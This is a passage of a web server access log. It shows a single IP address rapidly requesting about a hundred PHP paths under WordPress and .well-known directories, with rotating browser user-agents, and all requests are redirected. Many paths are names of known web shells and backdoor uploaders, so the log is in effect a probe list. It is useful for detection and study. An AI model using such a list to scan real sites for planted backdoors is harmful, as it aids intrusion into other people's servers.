/wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:37 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:38 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:38 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:38 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:38 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:38 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:39 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:39 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:39 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:39 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:35:40 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:40 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:40 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:40 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:40 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:35:40 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:41 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:42 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:43 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:44 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:45 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:35:46 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:47 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:48 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:49 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:50 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 